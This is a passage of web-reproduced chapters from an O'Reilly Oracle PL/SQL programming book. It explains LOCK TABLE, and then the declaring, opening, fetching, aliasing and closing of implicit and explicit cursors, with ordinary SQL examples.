where table_reference_list is a list of one or more table references (identifying either a local table/view or a remote entity through a database link), and lock_mode is the mode of the lock, which can be one of the following:

ROW SHARE
ROW EXCLUSIVE
SHARE UPDATE
SHARE
SHARE ROW EXCLUSIVE
EXCLUSIVE

If you specify the NOWAIT keyword, Oracle will not wait for the lock if the table has already been locked by another user. If you leave out the NOWAIT keyword, Oracle waits until the table is available (and there is no set limit on how long Oracle will wait). Locking a table never stops other users from querying or reading the table.

The following LOCK TABLE statements show valid variations:

LOCK TABLE emp IN ROW EXCLUSIVE MODE;
LOCK TABLE emp, dept IN SHARE MODE NOWAIT;
LOCK TABLE scott.emp@new_york IN SHARE UPDATE MODE;

Now that you know the "macro" commands for managing transactions from within a PL/SQL application, let's move on to cursors; you will use cursors (in one form or another) to create transactions (i.e., specify the SQL statements which make up the transaction).

Previous: 5.2 Sequential Control Statements | Oracle PL/SQL Programming, 2nd Edition | Next: 6.2 Cursors in PL/SQL
5.2 Sequential Control Statements | Book Index | 6.2 Cursors in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.2 Cursors in PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.2 Cursors in PL/SQL

When you execute a SQL statement from PL/SQL, the Oracle RDBMS assigns a private work area for that statement. This work area contains information about the SQL statement and the set of data returned or affected by that statement. The PL/SQL cursor is a mechanism by which you can name that work area and manipulate the information within it.

In its simplest form, you can think of a cursor as a pointer into a table in the database. For example, the following cursor declaration associates the entire employee table with the cursor named employee_cur:

CURSOR employee_cur IS SELECT * FROM employee;

Once I have declared the cursor, I can open it:

OPEN employee_cur;

And then I can fetch rows from it:

FETCH employee_cur INTO employee_rec;

and, finally, I can close the cursor:

CLOSE employee_cur;

In this case, each record fetched from this cursor represents an entire record in the employee table. You can, however, associate any valid SELECT statement with a cursor. In the next example I have a join of three tables in my cursor declaration:

DECLARE
   CURSOR joke_feedback_cur
   IS
      SELECT J.name, R.laugh_volume, C.name
        FROM joke J, response R, comedian C
       WHERE J.joke_id = R.joke_id
         AND J.joker_id = C.joker_id;
BEGIN
   ...
END;

Here, the cursor does not act as a pointer into any actual table in the database. Instead, the cursor is a pointer into the virtual table represented by the SELECT statement (SELECT is called a virtual table because the data it produces has the same structure as a table -- rows and columns -- but it exists only for the duration of the execution of the SQL statement). If the triple-join returns 20 rows, each row containing the three columns in the preceding example, then the cursor functions as a pointer into those 20 rows.

6.2.1 Types of Cursors

You have lots of options in PL/SQL for executing SQL, and all of them occur as some type of cursor. Generally, there are two types of SQL that you can execute in PL/SQL: static and dynamic. SQL is static if the content of the SQL statement is determined at compile time. A SQL statement is dynamic if it is constructed at runtime and then executed.

Dynamic SQL is made possible in PL/SQL only through the use of the DBMS_SQL built-in package (see Appendix C, Built-In Packages). All other forms of SQL executed inside a PL/SQL program represent static SQL; these forms of cursors are the focus of the remainder of this chapter.

Even within the category of static SQL, we have further differentiation. With the advent of PL/SQL Release 2.3, you can choose between two distinct types of cursor objects:

Static cursor objects

These are the really static cursors of PL/SQL. The SQL is determined at compile time, and the cursor always refers to one SQL statement, which is known at compile time. The examples shown earlier in this chapter are static cursors.

Unless otherwise noted, any reference to "static cursor" refers to this sub-category of static (as opposed to dynamic) cursors.

Cursor variables

You can declare a variable which references a cursor object in the database. Your variable may refer to different SQL statements at different times (but that SQL is defined at compile time, not run time).

The cursor variable is one of the newest enhancements to PL/SQL and will be unfamiliar to most programmers. Cursor variables act as references to cursor objects. As a true variable, a cursor variable can change its value as your program executes. The variable can refer to different cursor objects (queries) at different times. You can also pass a cursor variable as a parameter to a procedure or function. Cursor variables are discussed later in this chapter.

Static PL/SQL cursors have been available since PL/SQL Version 1. The static version of cursors "hardcodes" a link between the cursor name and a SELECT statement. The static cursor itself comes in two flavors: implicit and explicit.

PL/SQL declares and manages an implicit cursor every time you execute a SQL DML statement, such as an INSERT or a SELECT that returns a single row.

You, the programmer, define your own explicit cursors in your code. You must use an explicit cursor when you need to retrieve more than one row of data at a time through a SELECT statement. You can then use the cursor to fetch these rows one at a time. The set of rows returned by the query associated with an explicit cursor is called the active set or result set of the cursor. The row to which the explicit cursor points is called the current row of the result set.

The bulk of this chapter is devoted to the management of static, explicit cursors. All information about cursor variables is localized in Section 6.12, "Cursor Variables". Any references to PL/SQL cursors and cursor characteristics outside of that section will pertain to static cursors.

6.2.2 Cursor Operations

Regardless of the type of cursor, PL/SQL performs the same operations to execute a SQL statement from within your program:

PARSE

The first step in processing an SQL statement is to parse it to make sure it is valid and to determine the execution plan (using either the rule-based or cost-based optimizer).

BIND

When you bind, you associate values from your program (host variables) with placeholders inside your SQL statement. For static SQL, the SQL engine itself performs these binds. When you use dynamic SQL, you explicitly request a binding of variable values.

OPEN

When you open a cursor, the bind variables are used to determine the result set for the SQL statement. The pointer to the active or current row is set to the first row. Sometimes you will not explicitly open a cursor; instead the PL/SQL engine will perform this operation for you (as with implicit cursors).

EXECUTE

In the execute phase, the statement is run within the SQL engine.

FETCH

If you are performing a query, the FETCH command retrieves the next row from the cursor's result set. Each time you fetch, PL/SQL moves the pointer forward in the result set. When working with explicit cursors, remember that if there are no more rows to retrieve, then FETCH does nothing (it does not raise an error).

CLOSE

The CLOSE statement closes the cursor and releases all memory used by the cursor. Once closed, the cursor no longer has a result set. Sometimes you will not explicitly close a cursor; instead the PL/SQL engine will perform this operation for you (as with implicit cursors).

Figure 6.1 shows how some of these different operations are used to fetch information from the database into your PL/SQL program.

Figure 6.1: Using cursor operations to fetch database information into your program

Previous: 6.1 Transaction Management | Oracle PL/SQL Programming, 2nd Edition | Next: 6.3 Implicit and Explicit Cursors
6.1 Transaction Management | Book Index | 6.3 Implicit and Explicit Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.3 Implicit and Explicit Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.3 Implicit and Explicit Cursors

Let's take a closer look at implicit and explicit cursors and the ways you can put them in your programs.

6.3.1 Implicit Cursors

PL/SQL issues an implicit cursor whenever you execute a SQL statement directly in your code, as long as that code does not employ an explicit cursor. It is called an "implicit" cursor because you, the developer, do not explicitly declare a cursor for the SQL statement.

If you use an implicit cursor, Oracle performs the open, fetches, and close for you automatically; these actions are outside of your programmatic control. You can, however, obtain information about the most recently executed SQL statement by examining the values in the implicit SQL cursor attributes, as explained later in this chapter.

PL/SQL employs an implicit cursor for each UPDATE, DELETE, or INSERT statement you execute in a program. You cannot, in other words, execute these statements within an explicit cursor, even if you want to. You have a choice between using an implicit or explicit cursor only when you execute a single-row SELECT statement (a SELECT that returns only one row).

In the following UPDATE statement, which gives everyone in the company a 10% raise, PL/SQL creates an implicit cursor to identify the set of rows in the table which would be affected by the update:

UPDATE employee
   SET salary = salary * 1.1;

The following single-row query calculates and returns the total salary for a department. Once again, PL/SQL creates an implicit cursor for this statement:

SELECT SUM (salary) INTO department_total
  FROM employee
 WHERE department_number = 10;

If you have a SELECT statement that returns more than one row, you must use an explicit cursor for that query and then process the rows returned one at a time. PL/SQL does not yet support any kind of array interface between a database table and a composite PL/SQL datatype such as a PL/SQL table.

6.3.2 Drawbacks of Implicit Cursors

Even if your query returns only a single row, you might still decide to use an explicit cursor. The implicit cursor has the following drawbacks:

  • It is less efficient than an explicit cursor (in PL/SQL Release 2.2 and earlier)

  • It is more vulnerable to data errors

  • It gives you less programmatic control

The following sections explore each of these limitations to the implicit cursor.

6.3.2.1 Inefficiencies of implicit cursors

An explicit cursor is, at least theoretically, more efficient than an implicit cursor (in PL/SQL Release 2.2 and earlier). An implicit cursor executes as a SQL statement and Oracle's SQL is ANSI-standard. ANSI dictates that a single-row query must not only fetch the first record, but must also perform a second fetch to determine if too many rows will be returned by that query (such a situation will RAISE the TOO_MANY_ROWS PL/SQL exception). Thus, an implicit query always performs a minimum of two fetches, while an explicit cursor only needs to perform a single fetch.

This additional fetch is usually not noticeable, and you shouldn't be neurotic about using an implicit cursor for a single-row query (it takes less coding, so the temptation is always there). Look out for indiscriminate use of the implicit cursor in the parts of your application where that cursor will be executed repeatedly. A good example is the Post-Query trigger in the Oracle Forms.

Post-Query fires once for each record retrieved by the query (created from the base table block and the criteria entered by the user). If a query retrieves ten rows, then an additional ten fetches are needed with an implicit query. If you have 25 users on your system all performing a similar query, your server must process 250 additional (unnecessary) fetches against the database. So, while it might be easier to write an implicit query, there are some places in your code where you will want to make that extra effort and go with the explicit cursor.

NOTE: In PL/SQL Release 2.3 and above, the implicit cursor has been optimized so that it may, in isolation, run faster than the corresponding explicit cursor. Generally, the differences between these two approaches from a performance standpoint are negligible. On the other hand, if you use an explicit cursor, you are more likely (or at least able) to reuse that cursor, which increases the chance that it will be pre-parsed in shared memory when needed -- thereby improving the performance of your application as a whole.

6.3.2.2 Vulnerability to data errors

If an implicit SELECT statement returns more than one row, it raises the TOO_MANY_ROWS exception. When this happens, execution in the current block terminates and control is passed to the exception section. Unless you deliberately plan to handle this scenario, use of the implicit cursor is a declaration of faith. You are saying, "I trust that query to always return a single row!"

It may well be that today, with the current data, the query will only return a single row. If the nature of the data ever changes, however, you may find that the SELECT statement which formerly identified a single row now returns several. Your program will raise an exception. Perhaps this is what you will want. On the other hand, perhaps the presence of additional records is inconsequential and should be ignored.

With the implicit query, you cannot easily handle these different possibilities. With an explicit query, your program will be protected against changes in data and will continue to fetch rows without raising exceptions.

6.3.2.3 Diminished programmatic control

The implicit cursor version of a SELECT statement is a black box. You pass the SQL statement to the SQL layer in the database and it returns (you hope) a single row. You can't get inside the separate operations of the cursor, such as the open and close stages. You can't examine the attributes of the cursor -- to see whether a row was found, for example, or if the cursor has already been opened. You can't easily apply traditional programming control constructs, such as an IF statement, to your data access.

Sometimes you don't need this level of control. Sometimes you just think you don't need this level of control. I have found that if I am going to build programs in PL/SQL, I want as much control as I can possibly get.

Always Use Explicit Cursors!

My rule of thumb is always to use an explicit cursor for all SELECT statements in my applications, even if an implicit cursor might run a little bit faster and even if, by coding an explicit cursor, I have to write more code (declaration, open, fetch, close).

By setting and following this clear-cut rule, I give myself one less thing to think about. I do not have to determine if a particular SELECT statement will return only one row and therefore be a candidate for an implicit cursor. I do not have to wonder about the conditions under which a single-row query might suddenly return more than one row, thus requiring a TOO_MANY_ROWS exception handler. I am guaranteed to get vastly improved programmatic control over that data access and more finely-tuned exception handling for the cursor.

6.3.3 Explicit Cursors

An explicit cursor is a SELECT statement that is explicitly defined in the declaration section of your code and, in the process, assigned a name. There is no such thing as an explicit cursor for UPDATE, DELETE, and INSERT statements.

With explicit cursors, you have complete control over how to access information in the database. You decide when to OPEN the cursor, when to FETCH records from the cursor (and therefore from the table or tables in the SELECT statement of the cursor) how many records to fetch, and when to CLOSE the cursor. Information about the current state of your cursor is available through examination of the cursor attributes. This granularity of control makes the explicit cursor an invaluable tool for your development effort.

Let's look at an example. The following anonymous block looks up the employee type description for an employee type code:

1     DECLARE
2        /* Explicit declaration of a cursor */
3        CURSOR emptyp_cur IS
4           SELECT emptyp.type_desc
5             FROM employees emp, employee_type emptyp
6            WHERE emp.type_code = emptyp.type_code;
7     BEGIN
8        /* Check to see if cursor is already open. If not, open it. */
9        IF NOT emptyp_cur%ISOPEN
10       THEN
11          OPEN emptyp_cur;
12       END IF;
13
14       /* Fetch row from cursor directly into an Oracle Forms item */
15       FETCH emptyp_cur INTO :emp.type_desc;
16
17       /* Close the cursor */
18       CLOSE emptyp_cur;
19    END;

This PL/SQL block performs the following cursor actions:

Action | Line(s)
Declare the cursor | 3
Open the cursor (if not already open) | 9, 11
Fetch one or more rows from the cursor | 15
Close the cursor | 18

The next few sections examine each of these steps in more detail. For the remainder of this chapter, unless noted otherwise, the word "cursor" refers to the explicit cursor.

Previous: 6.2 Cursors in PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 6.4 Declaring Cursors
6.2 Cursors in PL/SQL | Book Index | 6.4 Declaring Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.4 Declaring Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.4 Declaring Cursors

To use an explicit cursor, you must first declare it in the declaration section of your PL/SQL block or in a package, as shown here:

CURSOR cursor_name [ ( [ parameter [, parameter ...] ) ]
   [ RETURN return_specification ]
   IS SELECT_statement;

where cursor_name is the name of the cursor, return_specification is an optional RETURN clause for the cursor, and SELECT_statement is any valid SQL SELECT statement. You can also pass arguments into a cursor through the optional parameter list described in Section 6.10, "Cursor Parameters".

Once you have declared a cursor you can then OPEN it and FETCH from it.

Here are some examples of explicit cursor declarations:

  • A cursor without parameters. The result set of this cursor is the set of company ID numbers for each record in the table:

    CURSOR company_cur IS
   SELECT company_id FROM company;

  • A cursor with parameters. The result set of this cursor is the name of the company which matches the company ID passed to the cursor via the parameter:

    CURSOR name_cur (company_id_in IN NUMBER)
IS
   SELECT name FROM company
    WHERE company_id = company_id_in;

  • A cursor with a RETURN clause. The result set of this cursor is all columns (same structure as the underlying table) from all employee records in department 10:

CURSOR emp_cur RETURN employee%ROWTYPE
IS
   SELECT * FROM employee
    WHERE department_id = 10;

6.4.1 The Cursor Name

The name of an explicit cursor is not a PL/SQL variable. Instead, it is an undeclared identifier used to point to or refer to the query. You cannot assign values to a cursor, nor can you use it in an expression.

As a result, both of the executable statements after the BEGIN line below are invalid:

DECLARE
   CURSOR company_cur IS
      SELECT company_id FROM company;
BEGIN
   company_cur := 15009; /* Invalid syntax */

   IF company_cur IS NOT NULL THEN ... ;  /* Invalid syntax */

In compiling either statement, you will receive the following error:

PLS-0321: expression 'COMPANY_CUR' is inappropriate as the left-hand side of an assignment statement.

The name of a cursor can be up to 30 characters in length and follows the rules for any other identifier in PL/SQL.

6.4.2 PL/SQL Variables in a Cursor

Because a cursor must be associated with a SELECT statement, every cursor must reference at least one table from the database and determine from that (and from the WHERE clause) which rows will be returned in the active set. This does not mean, however, that a cursor's SELECT may only return database information. The list of expressions that appears after the SELECT keyword and before the FROM keyword is called the select list.

In native SQL, this select list may contain both columns and expressions (SQL functions on those columns, constants, etc.). In PL/SQL, the select list of a SELECT may contain PL/SQL variables, expressions, and even functions (PL/SQL Release 2.1 and above).

In the following cursor, the SELECT statement retrieves rows based on the employee table, but the information returned in the select list contains a combination of table columns, a PL/SQL variable, and a bind variable from the host environment (such as an Oracle Forms item):

DECLARE
   /* A local PL/SQL variable */
   projected_bonus NUMBER := 1000;
   /*
   || Cursor adds $1000 to the salary of each employee
   || hired more than three years ago.
   */
   CURSOR employee_cur
   IS
      SELECT employee_id,
             salary + projected_bonus new_salary, /* Column alias */
            :review.evaluation                    /* Bind variable */
        FROM employee
       WHERE hiredate < ADD_MONTHS (SYSDATE, -36);

BEGIN
   ...
END;

You can reference local PL/SQL program data (PL/SQL variables and constants), as well as host language bind variables in the WHERE, GROUP, and HAVING clauses of the cursor's SELECT statement.

6.4.3 Identifier Precedence in a Cursor

Be careful about naming identifiers when you mix PL/SQL variables in with database columns. It is, for instance, common practice to give a variable the same name as the column whose data it is supposed to represent. This makes perfect sense until you want to reference those local variables in a SQL statement along with the column.

In the following example, I want to fetch each employee who was hired more than three years ago and, using a local variable, add $1000 to their salary. The employee table has a column named "salary." Unfortunately, this procedure relies on a local variable of the same name to achieve its ends. Although this code will compile without error, it will not produce the desired result:

PROCEDURE improve_QOL
IS
   /* Local variable with same name as column: */
   salary NUMBER := 1000;

   CURSOR double_sal_cur
   IS
      SELECT salary + salary
        FROM employee
       WHERE hiredate < ADD_MONTHS (SYSDATE, -36);
BEGIN

Instead of adding $1000 to each person's salary, this code will instead double his or her salary. Inside the SQL statement, any unqualified reference to "salary" is resolved by using the column named "salary."

I could achieve the desired effect by qualifying the PL/SQL variable with the name of the procedure, as follows:

CURSOR double_sal_cur
IS
   SELECT salary + improve_QOL.salary
     FROM employee
    WHERE hiredate < ADD_MONTHS (SYSDATE, -36);

In this situation, you are informing the compiler that the second reference to salary is that variable "owned" by the improve_QOL procedure. It will then add the current value of that variable to the salary column value.

I do not, however, recommend that you make use of qualified local variable names in this way. If your local variable names conflict with database column or table names, change the name of your variable. Best of all, avoid this kind of duplication by using a standard naming convention for local variables which represent database information.

6.4.4 The Cursor RETURN Clause

One of the most significant new features in PL/SQL Version 2 is the full support for packages and the resulting modularization of code that is now possible with that construct. Packages introduce an enhancement to the way you can declare a cursor: the RETURN clause.

When you group programs together into a package, you can make only the specification, or header information, of those programs available to developers. Although a developer can tell from the specification what the module is called and how to call it, he or she does not need to see any of the underlying code. As a result, you can create true black boxes behind which you can hide complex implementational details.

With Version 2 of PL/SQL you can accomplish the same objective with cursors by using the cursor RETURN clause. The RETURN clause allows you to create a specification for a cursor which is separate from its body (the SELECT statement). You may then place cursors in packages and hide the implementation details from developers.

Consider the following cursor declaration with RETURN clause:

CURSOR caller_cur (id_in IN NUMBER) RETURN caller%ROWTYPE
IS
   SELECT * FROM caller WHERE caller_id = id_in;

The specification of the caller_cur cursor is:

CURSOR caller_cur (id_in IN NUMBER) RETURN caller%ROWTYPE

while the body of the caller_cur cursor is:

SELECT * FROM caller WHERE caller_id = id_in;

Everything up to but not including the IS keyword is the specification, while everything following the IS keyword is the body.

You can include a RETURN clause for any cursor you write in PL/SQL Version 2, but it is required only for cursors which are contained in a package specification.

The RETURN clause may be made up of any of the following datatype structures:

  • A record defined from a database table, using the %ROWTYPE attribute

  • A record defined from a programmer-defined record

Here is an example of a cursor defined in a package. First, the package specification provides the name of the cursor and the RETURN datatype (an entire row from the company table):

PACKAGE company
IS
   CURSOR company_cur (id_in NUMBER) RETURN company%ROWTYPE;
END company;

Then the following package body repeats the cursor specification and adds the SQL statement:

PACKAGE BODY company
IS
   CURSOR company_cur (id_in NUMBER) RETURN company%ROWTYPE
   IS
      SELECT * FROM company
       WHERE company_id = id_in;

END company;

The number of expressions in the cursor's select list must match the number of columns in the record identified by table_name%ROWTYPE or PLSQL_record%ROWTYPE. The datatypes of the elements must also be compatible. If the second element in the select list is type NUMBER, then the second column in the RETURN record cannot be type VARCHAR2 or BOOLEAN.

Why place cursors in a package? For the same reasons you would place a procedure or a function in a package: a package is a collection of logically related objects. By grouping the code into a package you make it easier for a developer to identify and use the code (see Chapter 16, Packages, for more details). Packaged cursors are essentially black boxes. This is advantageous to developers because they never have to code or even see the SELECT statement. They only need to know what records the cursor returns, in what order it returns them, and which columns are in the column list.

When cursor information is limited on this kind of "need to know" basis, it protects developers and the overall application from change. Suppose that a year from now the WHERE clause of a query has to change. If a packaged cursor is not used, then each program that has a hardcoded or local cursor will have to be modified to meet the new specification. If, on the other hand, all developers simply access the same cursor, then changes will only need to be made to that packaged declaration of the cursor. The programs can then be recompiled to automatically support this change.

Previous: 6.3 Implicit and Explicit Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.5 Opening Cursors
6.3 Implicit and Explicit Cursors | Book Index | 6.5 Opening Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.5 Opening Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.5 Opening Cursors

The first step in using a cursor is to define it in the declaration section. The next step you must perform before you try to extract or fetch records from a cursor is to open that cursor.

The syntax for the OPEN statement is simplicity itself:

OPEN <cursor_name> [ ( argument [, argument ...] ) ];

where <cursor_name> is the name of the cursor you declared and the arguments are the values to be passed if the cursor was declared with a parameter list.

When you open a cursor, PL/SQL executes the query for that cursor. It also identifies the active set of data -- that is, the rows from all involved tables that meet the criteria in the WHERE clause and join conditions. The OPEN does not itself actually retrieve any of these rows -- that action is performed by the FETCH statement.

Regardless of when you perform the first fetch, however, the read consistency model in the Oracle RDBMS guarantees that all fetches will reflect the data as it existed when the cursor was opened. In other words, from the moment you open your cursor until the moment that cursor is closed, all data fetched through the cursor will ignore any inserts, updates, and deletes performed after the cursor was opened.

Furthermore, if the SELECT statement in your cursor uses a FOR UPDATE clause, then, when the cursor is opened, all the rows identified by the query are locked. (This topic is covered in Section 6.11, "SELECT FOR UPDATE in Cursors" later in this chapter.)

You should open a cursor only if it has been closed or was never opened. If you try to open a cursor that is already open you will get the following error:

ORA-06511: PL/SQL: cursor already open

You can be sure of a cursor's status by checking the %ISOPEN cursor attribute before you try to open the cursor:

IF NOT company_cur%ISOPEN
THEN
   OPEN company_cur;
END IF;

Section 6.9, "Cursor Attributes" later in the chapter, explains the different cursor attributes and how to make best use of them in your programs.

Previous: 6.4 Declaring Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.6 Fetching from Cursors
6.4 Declaring Cursors | Book Index | 6.6 Fetching from Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.6 Fetching from Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.6 Fetching from Cursors

A SELECT statement creates a virtual table in SQL: its return set is a series of rows determined by the WHERE clause (or lack thereof) and with columns determined by the column list of the SELECT. So a cursor represents that virtual table within your PL/SQL program. In almost every situation, the point of declaring and opening a cursor is to return, or fetch, the rows of data from the cursor and then manipulate the information retrieved. PL/SQL provides a FETCH statement for this action.

The general syntax for a FETCH is shown below:

FETCH <cursor_name> INTO <record_or_variable_list>;

where <cursor_name> is the name of the cursor from which the record is fetched and <record_or_variable_list> is the PL/SQL data structure into which the next row of the active set of records is copied. You can fetch into a record structure (declared with the %ROWTYPE attribute or TYPE declaration statement) or you can fetch into a list of one or more variables (PL/SQL variables or application-specific bind variables such as Oracle Forms items).

The following examples illustrate the variety of possible fetches:

  • Fetch into a PL/SQL record:

    FETCH company_cur INTO company_rec;

  • Fetch into a variable:

    FETCH new_balance_cur INTO new_balance_dollars;

  • Fetch into the row of a PL/SQL table row, a variable, and an Oracle Forms bind variable:

    FETCH emp_name_cur INTO emp_name (1), hiredate, :dept.min_salary;

6.6.1 Matching Column List with INTO Clause

When you fetch into a list of variables, the number of variables must match the number of expressions in the SELECT list of the cursor. When you fetch into a record, the number of columns in the record must match the number of expressions in the SELECT list of the cursor.

If you do not match up the column list in the cursor's query with the INTO elements in the FETCH, you will receive the following compile error:

PLS-00394: wrong number of values in the INTO list of a FETCH statement

Let's look at variations of FETCH to see what will and will not work. Suppose I have declared the following cursor, records, and variables:

  • Cursor that selects just three columns from dr_seuss table and a record based on that cursor:

    CURSOR green_eggs_cur (character_in IN VARCHAR2)
IS
   SELECT ham_quantity, times_refused, excuse
     FROM dr_seuss
   WHERE book_title = 'GREEN EGGS AND HAM'
      AND character_name = character_in;
green_eggs_rec green_eggs_cur%ROWTYPE;

  • Cursor for all columns in dr_seuss table and a record based on the dr_seuss table:

    CURSOR dr_seuss_cur
IS
   SELECT * FROM dr_seuss;
dr_seuss_rec dr_seuss_cur%ROWTYPE;

  • Programmer-defined record type which contains all three of the green_eggs_cur columns, followed by declaration of record:

    TYPE green_eggs_rectype IS RECORD
   (ham# dr_seuss.ham_quantity%TYPE;
    saidno# dr_seuss.times_refused%TYPE,
    reason dr_seuss.excuse%TYPE);
full_green_eggs_rec green_eggs_rectype;

  • Programmer-defined record type which contains only two of the three cursor columns, following by declaration of record:

    TYPE partial_green_eggs_rectype IS RECORD
   (ham# dr_seuss.ham_quantity%TYPE;
    saidno# dr_seuss.times_refused%TYPE);
partial_rec partial_green_eggs_rectype;

  • A set of local PL/SQL variables:

    ham_amount NUMBER;
refused_count INTEGER;
lousy_excuse VARCHAR2(60);

Now that everything is declared, I then OPEN the cursor for the "Sam I Am" character (passed as an argument) as follows:

OPEN green_eggs_cur ('Sam I Am');

All of the following fetches will compile without error because the number and type of items in the INTO clause match those of the cursor:

FETCH green_eggs_cur INTO green_eggs_rec;
FETCH green_eggs_cur INTO ham_amount, refused_count, lousy_excuse;
FETCH green_eggs_cur INTO full_green_eggs_rec;
FETCH dr_seuss_cur INTO dr_seuss_rec;

Notice that you can FETCH a cursor's row into either a table-based or a programmer-defined record. You do not have to worry about record type compatibility in this situation. PL/SQL just needs to be able to match up a cursor column/expression with a variable/field in the INTO clause.

As you can see from the above FETCHes, you are not restricted to using any single record or variable list for a particular FETCH -- even in the same program. You can declare multiple records for the same cursor and use all those different records for different fetches. You can also fetch once INTO a record and then later INTO a variable list, as shown below:

OPEN green_eggs_cur ('Sam I Am');
FETCH green_eggs_cur INTO green_eggs_rec;
FETCH green_eggs_cur INTO amount_of_ham, num_rejections, reason;
CLOSE green_eggs_cur;

PL/SQL is very flexible in how it matches up the cursor columns with the INTO clause.

6.6.2 Fetching Past the Last Row

Once you open a cursor, you can FETCH from it until there are no more records left in the active set. At this point the %NOTFOUND cursor attribute for the cursor is set to TRUE.

Actually, you can even FETCH past the last record! In this case, PL/SQL will not raise any exceptions. It just won't do anything for you. Because there is nothing left to fetch, though, it also will not modify the values in the INTO list of the FETCH. The fetch will not set those values to NULL.

You should, therefore, never test the values of INTO variables to determine if the FETCH against the cursor succeeded. Instead, you should check the value of the %NOTFOUND attribute, as explained in Section 6.9.

Previous: 6.5 Opening Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.7 Column Aliases in Cursors
6.5 Opening Cursors | Book Index | 6.7 Column Aliases in Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.7 Column Aliases in Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.7 Column Aliases in Cursors

The SELECT statement of the cursor includes the list of columns that are returned by that cursor. Just as with any SELECT statement, this column list may contain either actual column names or column expressions, which are also referred to as calculated or virtual columns.

A column alias is an alternative name you provide to a column or column expression in a query. You may have used column aliases in SQL*Plus in order to improve the readability of ad hoc report output. In that situation, such aliases are completely optional. In an explicit cursor, on the other hand, column aliases are required for calculated columns when:

  • You FETCH into a record declared with a %ROWTYPE declaration against that cursor.

  • You want to reference the calculated column in your program.

Consider the following query. For all companies with sales activity during 1994, the SELECT statement retrieves the company name and the total amount invoiced to that company (assume that the default date format mask for this instance is `DD-MON-YYYY'):

SELECT company_name, SUM (inv_amt)
  FROM company C, invoice I
 WHERE C.company_id = I.company_id
   AND I.invoice_date BETWEEN '01-JAN-1994' AND '31-DEC-1994';

If you run this SQL statement in SQL*Plus, the output will look something like this:

COMPANY_NAME                         SUM (INV_AMT)
------------------------                         --------------------------
ACME TURBO INC.                      1000
WASHINGTON HAIR CO.                  25.20

SUM (INV_AMT) does not make a particularly attractive column header for a report, but it works well enough for a quick dip into the data as an ad hoc query. Let's now use this same query in an explicit cursor and add a column alias:

DECLARE
   CURSOR comp_cur IS
      SELECT company_name, SUM (inv_amt) total_sales
        FROM company C, invoice I
       WHERE C.company_id = I.company_id
         AND I.invoice_date BETWEEN '01-JAN-1994' AND '31-DEC-1994';
   comp_rec comp_cur%ROWTYPE;
BEGIN
   OPEN comp_cur;
   FETCH comp_cur INTO comp_rec;
   ...
END;

With the alias in place, I can get at that information just as I would any other column in the query:

IF comp_rec.total_sales > 5000
THEN
   DBMS_OUTPUT.PUT_LINE
      (' You have exceeded your credit limit of $5000 by ' ||
       TO_CHAR (5000-company_rec.total_sales, '$9999'));
END IF;

If you fetch a row into a record declared with %ROWTYPE, the only way to access the column or column expression value is to do so by the column name -- after all, the record obtains its structure from the cursor itself.

Previous: 6.6 Fetching from Cursors | Oracle PL/SQL Programming, 2nd Edition | Next: 6.8 Closing Cursors
6.6 Fetching from Cursors | Book Index | 6.8 Closing Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.8 Closing Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

6.8 Closing Cursors

Early on I was taught that I should always clean up after myself. This rule is particularly important as it applies to cursors:

When you are done with a cursor, close it.

Here is the syntax for a CLOSE cursor statement:

CLOSE <cursor_name>

